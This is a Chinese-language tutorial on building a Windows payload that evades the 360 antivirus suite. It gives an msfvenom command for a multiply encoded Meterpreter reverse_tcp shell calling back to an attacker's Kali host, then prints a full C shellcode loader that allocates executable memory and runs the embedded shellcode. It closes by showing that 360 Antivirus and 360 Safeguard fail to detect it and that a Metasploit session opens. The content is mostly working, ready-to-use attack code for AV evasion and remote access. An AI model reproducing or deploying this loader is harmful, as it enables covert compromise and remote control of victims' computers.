免杀过360全家桶

免杀过360全家桶

1.kali生成一串shellcode

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 LHOST=kali的ip地址 LPORT=随便写个端口号(8888、9999都阔以) -f c

2.VS编写免杀程序

这里给出代码

#include <windows.h>
#include <stdio.h>
(这里是我生成的shellcode)
unsigned char buf[] =
"\xdd\xc3\xbd\xd9\x7e\xab\x4e\xd9\x74\x24\xf4\x58\x33\xc9\xb1"
"\x78\x31\x68\x17\x03\x68\x17\x83\x31\x82\x49\xbb\x1a\xb0\x34"
"\xb3\xb0\xa3\xce\xe5\xbc\x0f\x25\x4d\x17\x99\x74\x1f\xe4\xd9"
"\x73\xd1\xba\xcd\x78\x41\xd9\x20\x6f\x5c\x59\x33\x8b\x95\xe1"
"\x05\xee\x51\xf1\x02\xc3\x91\x60\xe6\xb8\xd1\xf3\x06\x7b\x71"
"\x86\x22\x97\x4e\xb0\x6b\x15\x00\xb8\xa9\xbe\x55\x10\x25\xa2"
"\x2c\xa0\x8f\x61\x04\xa9\x1a\x11\x79\x6d\xdb\xc5\x6c\x35\xb7"
"\xa9\x21\x17\xad\x94\x82\xbb\x5e\x84\x94\x6c\xd6\x95\xb6\x74"
"\xc3\x11\xe7\x40\x36\x92\x8a\xe4\x0b\x9d\xf7\xf7\x57\xcf\xfb"
"\x19\xd8\x1a\x73\xfc\x99\xdd\x1e\xac\x02\x69\x7c\x8c\x56\x7d"
"\xff\xa9\xa8\xaa\xbc\x25\xf9\x86\x22\x73\xaf\xfe\x62\x19\x7a"
"\x01\xd4\x44\xc1\xf6\xbe\x69\x10\x12\x6b\x8e\xdb\x00\x1c\x8d"
"\xe9\x4c\x77\x9c\xb2\x08\x9d\x42\x2d\x1b\x89\x63\x06\x87\x3e"
"\x68\x06\x56\xc3\xbe\x4d\xa4\x82\x88\xed\xec\xa9\x62\xf4\xc9"
"\x88\x37\x3e\xe3\xc3\x2d\xda\x34\xb6\x0f\xcd\x9f\x1b\x24\x48"
"\x69\xf2\x77\xdd\x66\x94\xc2\x7b\x2a\x8e\x7d\xc7\x0e\xbb\x34"
"\xd2\x88\x58\xe2\x4a\xc2\xc2\x48\x8b\xa9\xa7\x01\x2b\xcf\x0a"
"\xdf\x68\x0b\x1a\x0e\x01\xe5\x06\x20\x12\xb6\x6a\xab\xbd\xac"
"\x0f\x8b\xdc\xe3\xf3\x94\x00\xa9\x2c\x65\x15\xd6\x26\x62\xc5"
"\xc9\x19\x8c\x6b\x14\xdc\x7e\xb3\x98\x40\x96\xcb\x82\x34\xa8"
"\x44\x9c\x89\xad\xe5\xde\xf9\x08\x9f\xc8\x9e\x1d\x89\x29\x70"
"\x23\x1f\x30\xb3\x30\xd7\x19\xca\x4b\x0f\xf8\x90\x02\x93\x54"
"\xe1\xad\x6f\x19\x0f\x6d\xa0\xa5\x10\x37\x84\xb6\x1b\x23\xc4"
"\xdf\x8e\xac\x28\x17\xd4\x40\xd4\xfc\x1d\xe2\x92\x7b\x8b\x93"
"\x95\x01\x98\x66\x3b\x82\xbd\x2e\x79\x13\x8a\xc1\x28\x94\x1c"
"\xe0\x0a\xc7\x11\x0b\x21\x46\xd6\xae\x0d\x2a\x72\xf6\xd4\xf2"
"\xac\xb6\x0c\x6d\xd3\x9d\x5d\x53\x47\x0c\x95\x4b\x3d\x33\xda"
"\x3a\xdb\xde\x65\xe2\xcc\xe2\x82\xad\xd5\x4a\x48\xa5\xd5\xfa"
"\xbc\x0c\xec\x6f\xfb\x10\xeb\x56\xe5\x56\xe3\xc3\x1f\xdf\xef"
"\x78\xd6\x35\xef\x4b\x1b\x0a\xe2\x0a\xce\x33\x14\xe3\x08\x95"
"\x35\x44\x9c\xba\x75\x53\x1f\x92\x94\x06\xca\xd6\x73\x23\x3a"
"\x1b\x5b\x31\xa7\xd8\xec\xd9\xdf\x41\x76\xf2\x97\xf9\xab\xa8"
"\x4c\x49\xc3\xd0\x6e\xa4\xa2\xe9\x92\xe1\x20\x1c\x91\x4b\x27"
"\x95\x94\x0c\x28\x02\x92\x5d\x30";

size_t size =sizeof(buf);



 int main() {

  char* inject;

   inject = (char*)VirtualAlloc(NULL,size,MEM_COMMIT,PAGE_EXECUTE_READWRITE);

  memcpy(inject,buf,size);

  ((void(*)())inject)();


  return 0;

}

注意：属性–C/C+±-预编译头–选择不使用预编译头

插入一些图片或注释


生成解决方案

x86编译

3.查看生成的文件

在虚拟机用360进行查杀–360杀毒

360杀毒未报毒

用360安全卫士杀毒


360安全卫士未报毒，成功绕过360全家桶

4.msf上线

后续研究免杀过火绒。。